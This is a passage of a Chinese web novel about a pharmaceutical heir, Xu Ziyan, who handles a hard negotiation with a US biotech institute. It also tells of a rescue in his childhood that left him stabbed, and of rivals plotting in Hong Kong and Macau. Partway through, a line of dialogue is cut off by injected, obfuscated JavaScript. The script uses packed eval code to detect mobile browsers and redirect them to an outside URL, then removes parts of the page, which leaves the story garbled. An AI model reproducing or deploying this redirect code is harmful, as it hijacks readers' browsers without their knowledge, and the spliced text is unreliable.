天色渐渐明朗，车融入晨间的车流。许孜言靠在车后座，双膝交叠。膝上的平板屏幕上显示着旧金山NG生物研究院的合作协议条款，密密麻麻的英文术语让人头昏脑胀。
许钟景以及手底下的团队和那边对接的差不多了，就剩下几个问题。
“NG方面刚刚发来邮件，要求重新讨论知识产权归属条款。”二助的声音从蓝牙耳机传来，带着几分难以置信，“他们提出，如果最终药物研发成功，北美市场的独家销售权应当归他们所有。”
简直是痴人说梦。许孜言心里只有这一个反应。
“回复他们，按照原协议，济棠持有核心专利，合作方享有分级特许权。原则不容谈判。”
几个月前，当许钟景抵达旧金山时，NG的态度还热情得近乎殷勤。
院长亲自陪同他参观实验室，展示那些价值数百万美元的尖端设备。
然而当谈判进入实质阶段，气氛开始微妙变化。
对方律师不断提出微小调整。先是要求共享原始实验数据，然后又提出共同署名发表论文的权利，现在更是直接索要市场独占权。
许钟景在其中艰难巧妙的掌握一个平衡点。
昨晚……
“许先生，我们希望您能理解，”NG的院长在视频会议中微笑，金丝眼镜后的眼睛却毫无笑意，“我们的技术平台是独一无二的。没有我们的基因测序技术和AI药物筛选系统，济棠的化合物再好也只是半成品。”
许孜言神色平静，回答很稳。
“济棠提供的不仅是资金，还有经过三期临床验证的先导化合物和完整的毒理学数据。据我所知，贵方正在寻求新一轮融资，我们的合作会给双方带来利益。”
对方沉默了，随后到来的就是NG以“合规审查需要”为由暂停谈判，称“需要重新评估技术转移风险”。
“……”
一群玩心眼的疯子。
“告诉他们，我希望能与他们面谈。”
助理应声，快速去发邮件。
NG没有装死，很快给出了见面地点，在旧金山。
许孜言向后靠到椅背上，小臂遮住眼前的灯光，难掩积累的疲惫。
现在在车上，他一夜没合眼，眼里泛起血丝。
“许先生，他们重新发来了要求……说是为了展现诚意，地点定在澳门，他们派人过来。”
[尊敬的许先生，我们代表NG方，建议后天在澳门举行一次非正式会谈。这次会谈或许能帮助我们找到共赢解决方案...]
许孜言的眉眼舒展，可眼里没有笑意。
他知道了。
没了许钟景这个重要角色让NG觉得，能把济棠当摇尾乞怜的狗耍。
许孜言一向温和克制，情绪含蓄。因为父母教导他仪态风度，病痛磨砺出他的沉静，成长的过程被保护得严密。
但做一个人，就会有底线。
NG显然忽略了这一点。
低估对手和高估自己的后果一样可怕。
—
港城雨势未歇，董温瑜所乘专车驶入浅水湾道，最终停在一栋隐于绿荫后的别墅。
“道林，我到了。”
“直接进。”
季道林在二楼，应文楽并不在。窗外是湿漉漉的绿意与灰蒙海面。
“怎么了？”
“许钟景住院，他儿子接管高层事务。文楽去安排一些事，我们谈的时间不多。”
董温瑜挑眉看他。
“何翎丞十岁，救他的人是许钟景的儿子。”
何翎丞没打算瞒下去，季道林知道内情，自然要告诉她。
“什么？！”
那年在南亚某私宅举办的商业午宴，宾客来往，觥筹交错。一次精彩绝伦的绑架谋划，千算万算，最后错就错在一个致命的漏洞。
大人不会关注，但孩子会。
大人们在高谈阔论，孩子们自有佣人看管在花园玩闹。
许孜言喜静，不知不觉偏离了热闹的中心。
他赏着小径边的纯白花朵，越走越深。
某刻，他的动作突然停下来，觉得自己好像听到了极其微弱的声音。
好奇心驱使，他绕过杂乱的灌木丛，看到了一个几乎被遗忘的、用来存放旧园艺工具的地窖通风口，外面堆了很多东西，栅栏锈得歪斜，他试着推了推，根本没上锁。
黑暗中，一个比他大几岁的男孩蜷缩在角落，手脚被缚，眼睛被黑布蒙着，嘴也被胶带封住，瘦得脱了形。
许孜言那年六岁。
不知道什么是绑架，什么是家世倾轧，他只是本能地感到害怕和难过。
许孜言没有叫父母，他站在那很久很久，捡起脚边的破陶瓷花盆碎块，尝试着下去。
何翎丞除了间歇性的极速呼吸外几乎发不出任何声音，胸腔的起伏都可以忽略不计。
就在许孜言笨拙地割着绳子时，他不知什么时候有了意识。
何翎丞猛地挣脱了即将被割断的绳索，扣住尖锐的器物抬手就向上捅进对方的身体，随后扯掉蒙眼的黑布，但长期处于黑暗中的眼睛根本无法视物，只有一片血红的光晕和模糊的黑影。
耳畔尖锐的痛苦哀鸣不是属于成年人的。
温热的液体溅到了何翎丞的脸上。
许孜言倒了下去，何翎丞逃之前弄出了更大的动静，他看不清，也不能回头，身后是逐渐围绕的人群。
何翎丞不知道自己是怎么被弄回来的，他再睁开眼，就在伦敦，重新回到了母亲身边。
孩童的一念兴起，是他最后的一线生机。
血色的误会与无法偿还的债，尽一切可能弥补，一度自残又被控制，最后甚至发酵成了某种已经病态和阴暗的渴望。
可每次见到那个人，却又不自觉回避。伪装冷漠时，在自己忏悔。
“他觉得自己的命是许孜言给的。”
季道林告诉她，他们都是残忍又带着冷漠的局外人。
而局中人心里的混乱，又瞒得了多久。
“……”
董温瑜不知道该说什么，复杂的情绪全部压在喉咙里，难以言喻。
“我们帮他，就是在帮何翎丞。”
应文楽的电话打过来，季道林开了免提，放在两人之间。
“NG约他在澳门见面，后天，地点我发你。温瑜，回去之后看着点。”
“港城不用管，我们处理。”
“季道林，下楼。”
季道林看着董温瑜，轻声补了一句：“EthanReid要撞风口浪尖，就把他往死里弄。”
……
“两位先生，这边请。”他和应文楽下车，有银行管理人员带他们到走廊深处。
“你可以走了。”季道林摘掉眼镜，余光见旁人离开之后，微抬眼直视幽蓝的虹膜验证系统，手在密码键上摁下几个数字。
保险柜门无声滑开，内里不是码放整齐的现钞，是几份牛皮纸文件袋与数个泛着冷光的加密移动硬盘。
“文楽，”他取出其中一枚硬盘递过去，柜门旋即合拢，锁舌扣死的声音在寂静中格外清晰。
“何翎丞之前放在我这里的部分权限。包括他的几个离岸基金的紧急调度权，还有一部分不太方便让他直接出面的信息和资源渠道。”
“走不通的地方直接用我的权限，先拿去。”
季道林语气平淡，却字字千钧。
他知道何翎丞现在想要他们做什么给许孜言兜底，没有后顾之忧。
最好的方式是注入一笔短期过桥资金，稳定济棠的现金流，让他们在谈判桌上不必因资金压力而屈服。
他们离开。
很快，一系列操作通过复杂网络紧锣密鼓地进行，之前因媒体传出了许董事住院消息而起起伏伏的股价终于归于平稳。
……
“股价回升，目前稳定。”
-
“股价回升，目前稳定。”
何翎丞收回手，靠在椅背上，手机上消息明灭。月光被帘子几乎遮全，阴沉的夜撞入罗兰色双瞳，深陷进晦暗的漩涡。侧脸的骨相在灯下显得气质阴暗沉郁。
这边的事处理速度快得令集团众高层咋舌，工作效率和合同收益以惊人幅度攀升，达到一个可怕的程度。
不知道的还以为他想让公司冲年终业绩疯了。
只是因为他要短期再回港。
“何总，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096679|195644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我们追查到几个空壳公司，最终都指向巴哈马、开曼这类无法深究的离岸天堂。那人像幽灵一样，能捉到的都是他明面上的棋子，但更深的关系，我们还没找到证据。”
“尽力，没结果就换线。”
“EthanReid昨夜飞往澳门，何先生。NG与许先生定的会面地点最终在澳门。”
何翎丞点头，助理离开。
室内的窗帘拉紧，光灭了，一把匕首将不远处摇摇晃晃贴着的半身照身首分离，死死钉在白板上。
机场那边不久后给了明确的答复。
“先生，已安排妥当，专属航道批准。”
何翎丞这次回去乘私人航班，全程航线使用优先权。
哪怕不说，行动已经替他回答了内心诘问。还是会担心，还是放不下。
专机航站楼灯火通明，却异样冷清。
专属跑道已被彻底肃清，地勤人员垂手恭立，目光敬畏地望向那架静候的湾流G700，机身流畅的线条在夜色中泛着清冷银辉。
北美另一州。
一道黑客指令被拦截
“Volkov先生，情况有变。”握着玻璃杯的手并未停顿，酒液入喉。
“说。”应答的声音沙哑，属于历经风霜的年长者。
“NG的谈判不顺，被济棠那位小少爷驳斥了关键条款，对方阵脚已乱。”
“一群蠢货。”
AlexanderVolkov淡漠回应。
“还有一件事，非常棘手……有不明资本正通过多个渠道暗中吸纳许氏流通股，力度很大。”
“哦？”他终于对这出偏离剧本的戏码生出些许兴致，放下酒杯，“拿来。”
电脑屏幕上，许家股价企稳反弹的曲线清晰可见。
Volkov铅灰色的双眼锐利，久久凝视着那逆势上扬的数据，没说什么。
他抬手示意，身后的人立刻俯身凑近。
他交代了几句。
“是，先生。”
—
澳门。
巨大的鎏金穹顶之下，空气被驯化成一种恒定的、奢靡的温度。
“舟车劳顿，辛苦，Ethan先生要见你。”
“带路。”
带着帽子和口罩的青年跟在一个黑衣男子身后。
“许先生，这间。”
许非以脱下口罩和墨镜，扔掉帽子，刷卡进去。男子鞠躬，转身走了。
Ethan就坐在沙发边，看见来人，他带着审视的表情。
“你做的不错，沃科夫先生很欣赏你。”
许非以根本就没看他，找到自己的位置坐下，那个角度一如既往。Ethan没恼，抬起他的左手，落下一吻。
时间是很漫长的，但这里没有昼夜，只有永恒的金碧辉煌，欲望在空调冷气中无声蒸腾，凝结成穹顶之下最醉人的毒。
“很快就结束了，我就能和你永远在一起。”
许非以没办法说话，仰头的时候带着水汽的眼里压下的全是冷漠。
……
永利会客区。
谈判已持续数小时，桌上的咖啡冷了又换，换了又冷。NG的态度依旧强硬，但许孜言敏锐地察觉到，对方在听到他提及其他技术选择，以及感受到稳固不定的信号后，语气中那丝有恃无恐的傲慢似乎减弱了些许。
“许先生，您的坚持令人钦佩。”院长摘下眼镜，揉了揉眉心，似乎有些疲惫，“但独家销售权是我们的底线。”
“那么，很遗憾。”许孜言很平静的声音传到他们耳中。
他并不在虚张声势。若合作如此倾斜，济棠利益必会严重受损。他是真心准备放弃。
NG的代表终于意识到这一点。
“请等一下！”另一位原本沉默的高管急忙开口，“或许……我们可以再谈谈细节？比如，北美市场的利润分成比例可以再协商？”
“我想，诚意不是补救措施，我们没有得到应有的尊重，何谈之后的条件。”
他身形清隽，起身后居高临下望去，那双总是含笑的眼里藏着冷冽的锋芒。
“各位，浪费了双方的时间，也该好好想想问题在哪，对吧。”